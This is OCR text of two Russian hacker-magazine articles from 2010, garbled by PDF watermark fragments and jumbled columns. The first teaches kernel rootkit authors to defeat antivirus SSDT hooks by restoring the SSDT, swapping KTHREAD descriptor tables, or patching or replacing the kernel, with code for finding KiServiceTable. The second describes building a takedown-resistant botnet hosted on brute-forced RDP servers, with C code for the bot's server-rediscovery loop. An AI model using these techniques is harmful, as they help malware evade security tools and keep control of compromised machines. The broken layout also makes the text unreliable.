Разработчики малвари постоянно жалуются, что их боты мрут, как мухи, аверы все сильнее закручивают гайки, и выживать в системе становится все сложнее и сложнее. Но не стоит отчаиваться — есть еще порох в пороховницах и ягоды в ягодицах. В подтверждение этому можно привести тот факт, что на широких просторах «тырнета» с определенной периодичностью отлавливаются все новые и новые зверушки типа Rustock’a или TDSS, которые формально уже должны были быть побеждены. А если поразмыслить о том, сколько еще тайных ботов будет выявлено, то можно с уверенностью утверждать, что в среднесрочной перспективе разработчики аверов и проактивных защит без работы точно не останутся.

ВВЕДЕНИЕ

В сегодняшней статье речь пойдет о вполне тривиальных вещах, которые знает любой мало-мальски опытный системный программист. Я не сильно согрешу против истины, если скажу, что каждый системный прогер, который не понаслышке сталкивался с вопросами безопасности

вядре, делал подобные вещи (устанавливал хуки поверх системных функций для того, чтобы проконтролировать их вызов). О борьбе хуков против хуков мы и поговорим сегодня. Рассмотрим ситуацию: тебе всеми правдами и неправдами удалось установить драйвер в систему, и ты уже радостно потираешь свои руки, поскольку, как тебе говорили, проникновение в ядро делает тебя его повелителем. И плевать ты хотел на то, что какой-то авер что-то там контролирует.

Но не тут-то было! Проникновение в ядро, будь то установка своего драйвера или инфект уже установленного, при наличии в системе очень популярной антивирусной шушеры не даст тебе ровным счетом ничего. Даже если ты наивно полагаешь, что исполнение твоего мегакода в ядре сделает тебя его полновластным Черным Властелином. Такая ситуация могла быть абсолютно реальной еще несколько лет назад, когда kernel-based руткиты только-только стали появляться на публике, и аверам пришлось приспосабливаться к тому, что вирусы уже начали осваивать неизведанную ранее территорию — ядро операционной системы. Почти каждый руткит, который можно найти

впаблике или который так или иначе попадал в мои руки, прямо

или косвенно использовал системные сервисы — а куда без них? И ведь верно, уж такова архитектура ОС марки Windows, что и вирусы/руткиты, и аверы в ядре, кто для выживания, а кто — для охоты, используют один и тот же набор системных сервисов, куда входят те, которые можно найти в таблицах KeServiceDescriptorTable/

KeServiceDescriptorTableShadow, экспорте ядра и важнейших драйверов.

KESERVICEDESCRIPTORTABLE — КЛЮЧ КО ВСЕЙ СИСТЕМЕ

Ну, или почти ко всей системе. Первое, что сделает порядочный антивирус и файрвол, чтобы надавать по рукам мегакулхацкерам

— установит свои перехватчики на KeServiceDescriptorTable — в ней содержатся адреса системных сервисов, таких как, например

NtCreateFile, NtCreateProcess, NtCreateThread и т.д. Для чего это делается, я думаю, понятно — чтобы иметь возможность отслеживать вызовы потенциально опасных для стабильности ОС системных сервисов (работы с виртуальной памятью, реестром, привилегиями и тому подобными штуками). Как правило, такие функции перехватываются всеми аверами подряд, поэтому можно не сомневаться — если на машине стоит хоть что-нибудь антивирусное, будь уверен — в

KeServiceDescriptorTable найдется пара-тройка, если не десяток перехватов системных сервисов. Их количество варьируется от одного (F-Secure, например, перехватывает только NtLoadDriver) до «до хрена и больше» (в случае с COMODO Internet Security или Outpost).

Все это, естественно, не радует глаз начинающего системного прогера. К примеру, Kaspersky AV вообще грузит (грузил?) свою SSDT, благодаря чему все системные вызовы так или иначе проходят через его адресное пространство. Не сильно от KeServiceDescriptorTable

отличается теневая таблица KeServiceDescriptorTableShadow. Ее второй элемент содержит таблицу win32k.sys, драйвера, на котором, в свою очередь, держится вся графическая подсистема Windows. Win32k.sys содержит два типа сервисов: сервисы NtUser* и NtGdi*, первые отвечают за оконную подсистему, вторые за графику. Несмотря на неприглядное название и недокументированность, использование сервисов Win32k довольно популярно в андеграундной хакерской среде: посмотри на те сервисы, которые перехватывают аверы в KeServiceDescriptorTableShadow — NtUserFindWindowEx, NtUserQueryWindow, NtUserGetForegroundWindow — все они отвечают за работу с windows-окнами.

Для начала получим указатель на KeServiceDescriptorTable. Чтобы это сделать, просто добавь в свой код такую стро-

ку: extern PVOID KeServiceDescriptorTable. Получить адрес KeServiceDescriptorTableShadow немного сложнее, она не экспорти-

руется, код для ее получения ты можешь найти на диске.

104

XÀÊÅÐ 07 /138/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Перехваты в KeServiceDescriptorTable

Итак, что же делать? Как убрать установленные хуки? Самый дешевый и сердитый способ — просто восстановить SSDT и выполнить свой код, а там — хоть трава не расти. Сделать это, несмотря на сложное название, довольно просто. Сначала мы через вызо-

вы ZwOpenFile/ZwCreateSection/ZwMapViewOfSection

найдем и промаппим в свою виртуальную память образ ядра ntoskernl.exe (ntkrnlpa.exe для многоядерных систем). Далее находим в полученной проекции ядра указатель на KeServiceDescriptorTable, после чего в цикле восстанавливаем адреса оригинальных обработчиков.

Находим адрес KiServiceTable

ULONG FindKiServiceTable(

ULONG SdtPtr,

ULONG Handle)

{

ULONG bFirst = 1, RvaPtr, i; pointer = (char *)Handle; pointer += 0x3c;

pointer = (char *)(*(ULONG *)pointer) + Handle + 0xA0;

reloc = (PIMAGE_BASE_RELOCATION)(char *) (*(ULONG *)pointer) + Handle);

while ((bFirst)

||(reloc-> VirtualAddress))

{

bFirst = 0;

fixup = (PIMAGE_FIXUP_ENTRY) ((ULONG)reloc + 8);

for (i=0;i<(reloc->SizeOfBlock - 8)>>1; i++, fixup++)

if ( fixup->type == 3)

{

RvaPtr = reloc->VirtualAddress + fixup->offset;

if (*(PULONG)( Handle + RvaPtr) - 0x400000 == SdtPtr)

{

if (*(PUSHORT)( Handle + RvaPtr - 2) == 0x05c7)

return (*(PULONG)( Handle + RvaPtr + 4) - 0x400000 + Handle);

}

}

*(PULONG)&reloc += reloc->SizeOfBlock;

}

return 0;

}

}

Минусы такого способа, я думаю, очевидны — практически все аверы и проактивки следят за состоянием своих хуков, установленных в SSDT и, обнаружив их отсутствие, тут же их восстановят. К тому же нельзя игнорировать тот факт, что все порядочные аверы перехватывают

NtCreateSection и NtMapViewOfSection, без которых при проецировании ядра не обойтись. Что делать в этом случае, ты узнаешь ближе к концу статьи.

Код, реализующий восстановление SSDT и ShadowSSDT, ты можешь найти на диске.

POSITION NUMBER TWO

Как ни крути, выжить в условиях тотального контроля за системой очень и очень сложно.

При вызове системного сервиса ядро нахо-

дит указатели на KeServiceDescriptorTable и KeServiceDescriptorTableShadow, которые хранятся в структуре KTHREAD. Мы дружно маппим ядро, находим

DVD

dvd

Надискетынайдешь

WRK — Windows Research Kernel,

альтернативныесорцыдлясборкиядра

Windows. Крайне полезныйподгондля изучениявнутрен-

ностейWindows :).

HTTP://WWW

links

Каквсегда, ценные жемчужиныпрограммистскоймудрости можноотыскатьна сайтахwasm.ru

иhttp://rsdn.ru/ forum/asm

XÀÊÅÐ 07 /138/ 10

105

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

CODING

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Перехваты в KeServiceDescriptorTableShadow

внем указатель на старую, неизмененную KeServiceDescriptorTable. Далее подменяем в «живой» KeServiceDescriptorTable указатели на системные сервисы своими, а в KTHREAD.ServiceDescriptorTable

сохраняем указатель на найденную ранее неизмененную KeServiceDescriptorTable. Вуаля! Этим незатейливым способом можно поставить в тупик не один продвинутый авер. Как это сделать

вядре? Чтобы получить указатель на структуру ETHREAD, частью которой является структура KTHREAD (не веришь — сам посмотри), можно вызвать функцию PsLookupThreadByThreadId (как вариант — PsLookupProcessThreadByCid), в которые нужно передать хендл потока, либо выполнить такой несложный код:

__asm push esi;

__asm mov esi, fs:[0x124].

После этого в регистре esi будет находиться искомый указатель на ETHREAD. Что делать дальше, я думаю, ты поймешь.

POSITION NUMBER ÒÐÈ

Есть еще один вариант: оставить не слишком расторопный авер с носом (или что там у них между ног, я не помню :)). Вспомним тезисы, изложенные мной в одной из прошлых статей, посвященных организации виртуальной памяти в Windows. В частности, там шла речь о подмене PTE для нужных виртуальных адресов, в результате чего появляется интересная возможность изменения данных в АП целевого процесса без вызова контролируемых аверами системных функций типа NtWriteVirtualMemory. Вспомнил? Так вот, что мешает нам сделать то же самое здесь? Проецируем ядро уже известными шагами, находим KeServiceDescriptorTable и адрес интересующей нас функции и вызываем ее, но только не через виртуальный адрес, а с адреса, считанного с PTE. Экстремалам и мазохистам можно предложить и такой способ: считывать нужный нам адрес напрямую из физической памяти. Он легко находится вот таким простым способом:

ULONG_PTR GetPhysicalAddress( IN ULONG_PTR VirtualAddress)

{

return (VirtualAddress & 0x1FFFFFFF);

}

ÅÙÅ ÎÄÍÎ ßÄÐÎ?

А почему нет? Можно пойти двумя путями. Первый — пропатчить ядро Windows на диске. Делается это элементарно — CreateFile/ ReadFile/WriteFile. После любой модификации системных файлов необходимо пересчитать их контрольную сумму, иначе Windows просто откажется их загружать. Не скрою, все это сложно и палевно, поскольку делать дело придется налету, в недрах операционной системы, где за каждым углом тебя поджидает злой авер. Поэтому править ядро — способ легкий, но ненадежный. Более подробно об этом способе можно почитать в статье К.Касперски «Хак ядра NT»), которая все еще не потеряла своей актуальности.

Экстремалам я могу предложить такой способ: собираем свое ядро из сорцов WRK (Windows Research Kernel), правим его при этом,

как хотим, а затем — заменяем им ядро операционной системы и начинаем властвовать. Предвижу бурю недовольства и шквал вопросов, дескать, что это невозможно, что существует и SFC, и ядро весит несколько мегабайт… Да, не спорю, способ трудоемок,

но вполне реализуем. И главное — может принести массу дивидендов. Каких? Если у тебя в руках будет свое полностью контролируемое ядро, то дивиденды ты будешь придумывать сам. Да и потом, простые эксперименты с ядром Windows в стиле «а-ля Linux» будут очень полезны для начинающего системного кодера, пусть даже эти эксперименты не будут направлены на обеспечение безопасности системы. Если ты из числа этих самых экстремалов — сорцы WRK ты сможешь найти на диске. Для начала собери их у себя на машине, а затем тщательно протести на виртуалке, перед тем, как рисковать установкой этого ядра на рабочую машину.

PRO & CONS

Ну что ж, пора подводить итоги. Выжить в ядре, даже будучи в условиях тотального контроля со стороны бдительных аверов, можно. Самое главное, чего нельзя делать — это недооценивать разработчиков антивирусов, файрволов и прочих защитных системы — они грамотные люди и зря свой хлеб не едят. Однако лазейки для выживания найти всегда можно, если хорошенько покопаться. И не стоит, наверное, серьезно относиться к вышеописанному :). Просто взгляни на смысл послания как на демон-

страцию «proof of concept».

Удачного компилирования, и да пребудет с тобой Сила! z

106

XÀÊÅÐ 07 /138/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

Артем «RankoR» Смирнов ax-soft.ru

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

01

WINDOWS

02

03

WINDOWS

$$

 

#irc

WINDOWS

 

НЕГАСИМЫЙ

БОТНЕТ

ПРОСТОЙ СПОСОБ КОДИНГА НЕУБИВАЕМЫХ И АБУЗОУСТОЙЧИВЫХ БОТОВ

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В одном из номеров ][ ты уже ознакомился с теорией «вечных» ботнетов, но, на мой взгляд, подобный подход к их реализации слишком сложен. Сегодня я покажу тебе новый способ обеспечить своему ботнету вечную жизнь не просто бесплатно, но еще и поимев с этого дела определенную выгоду.

ÖÅËÜ

Если ты — постоянный читатель ][, то ты должен был прочитать мою статью про QTss-Brute в прошлом номере. Если же нет, то объясню вкратце: это такой брутфорс для RDP, с помощью которого мы с тобой будем зарабатывать на кусок хлеба с черной икрой :). Поехали!

ÑÅÌÜ ÐÀÇ ОТМЕРЬ

Для начала тебе придется почитать немного теории, но не бойся — ее и правда немного. В чем суть этого подхода? Если ты когда-либо брутил дедики, то знаешь, что в большинстве случаев они по одному не брутятся. Например, с диапазона xxx.xxx.0.0-xxx.xxx.255.255 в зависимости от везения можно снять 10-100 дедов. Предположим, что у нас есть некий ботнет. Для простоты понимания мы будем работать с «абстрактным» ботнетом, который фактически ничего не делает и состоит из одногоединственного бота и одного сервера. Так вот, сбрутил ты дедик, поставил на него серверную часть ботнета. В боте записан IP сервера. Ну, работает наш ботнет некоторое время, а потом (внезапно!) сервер берет — и дохнет. Неважно, по какой причине — то ли админ тебя спалил, то ли федералы пришли все к тому же админу, то ли сервер просто поменяли — причины нас не интересуют. Нас интересует следствие: бот пытается приконнектиться к серверу, а у него ничего не получается. В случае с обычным ботом можно было бы сказать, что мы потеряли ботнет, но у нас же есть хитрый план, который я сейчас и опишу :).

В случае отсутствия признаков жизни на сервере, бот генерирует диапазон IP по заданному и начинает сканить его на предмет стандартного порта сервера, а мы в этот момент ставим серверную часть на другой сервак из того же диапазона. Если находит — обменивается с ним некоторыми данными, чтобы удостовериться, что это именно его сервер, ну а если не находит — расширяет диапазон поиска. Для разрешения всяческих неприятных ситуаций типа «деды кончились, что делать?» нужно ввести фичу ручного указания нового диапазона. Вот, собственно, и вся теория.

ÎÄÈÍ ÐÀÇ ОТРЕЖЬ

Итак, приступим к делу. Писать мы будем в MS Visual Studio 2008 на C (именно C, а не C++!), но компилятор я буду использовать Intel’овский. Почему именно так? Потому что 2010 студия на моем нетбуке (MSI Wind u90) тормозит, а интеловский компилятор генерирует код меньшего размера и более оптимизированный, чем мелкомягкий, что в нашем случае очень важно. Кроме того, у Intel есть офигенный профилировщик, и мне почему-то кажется, что с «родным» бинарником он будет работать лучше, чем со скомпиленным Microsoft’овским компилятором.

Запускаем студию, создаем новый солюшн. В нем — один проект типа Win32 Console Application (консольное легче отлаживать, потом ты

XÀÊÅÐ 07 /138/ 10

107

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

CODING

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

04

WINDOWS

#irc

WINDOWS

LOW

GIMME

EXTEND

GET

CHEAP

INTEREST

CREDIT

YOUR

A BETTER

MOVIE

RATES!!

CARDS

PENIS

JOB

TICKETS

 

 

 

 

 

#irc

#irc

Типичный IRC-ботнет

Взаимодействиес сервером

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DVD

dvd

Полныеисходники смотринадиске(хотя большаяихчастьпоместиласьвстатье)

WARNING

warning

Нестоитвосприниматьэтуинформациювсерьез— за ботнетымогутсильно надаватьпоголове. Помни, чтостатьяэта

— ознакомительная, иниавтор, ниредакцияненесутникакой ответственностиза то, чтотыможешь натворить, принявее всерьез.

без труда сможешь переделать его в Win32 Application).

 

 

 

 

 

 

Функция findServer()

 

Работать мы будем через простой TCP/IP, используя

 

 

winsock2. Процедуры для работы с сокетами показаны

 

 

 

 

 

 

 

 

 

 

не будут (это слишком просто, если нужно — посмотри в

 

char *findServer(

 

 

исходниках на диске), поэтому приступим к рассмотрению

 

const char *fIP

функций для взаимодействия бота с сервером.

 

)

 

 

 

Для начала опишем точку входа:

 

{

 

 

 

 

 

Range

range;

 

 

Точка входа

 

char *server;

 

 

 

 

 

 

 

 

getServer();

 

 

 

 

 

getRange();

 

memcpy(range.startIP, fIP, 3);

while ( true )

 

memcpy(range.endIP,

fIP, 3);

{

 

range.startIP[3]

=

0;

sock = tcp_connect(srv, PORT);

 

range.endIP[3] =

255;

if ( sock > 0 ) {

 

 

 

 

 

 

 

 

 

 

/*..SOME MAGIC..*/

 

server

= scanRoutine(&range);

} else { // Server is dead!!!!111

 

 

 

 

 

range = getRange();

 

if ( server )

 

 

server = findServer((char*) range);

 

return server;

 

if ( server == NULL )

 

 

 

 

 

continue;

 

range.startIP[2]

=

0;

memcpy(srv, server, 20);

 

range.endIP[2] =

255;

}

 

 

 

 

 

Sleep(1000);

 

server

= scanRoutine(&range);

}

 

 

 

 

 

 

 

if ( server )

 

 

Тут мы в цикле (бесконечном, это же бот, не так ли?)

 

 

 

return server;

 

пытаемся приконнектиться к серверу. Если у нас это

 

 

 

 

 

получается — обмениваемся с ним какими-то данными,

 

range.startIP[1]

=

0;

иначе — получаем диапазон для сканирования и ищем на

 

range.endIP[1] =

255;

нем сервер.

 

 

 

 

 

 

 

server

= scanRoutine(&range);

Пламенные приветы

 

 

return

server;

 

 

 

 

 

 

 

 

 

 

 

 

 

metal, DieHard, YaesU, DjFly, Miracle,

 

 

 

 

// Returning pointer anyway (NULL too)

Елене Мещеряковой

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

108

XÀÊÅÐ 07 /138/ 10

Соседние файлы в папке журнал хакер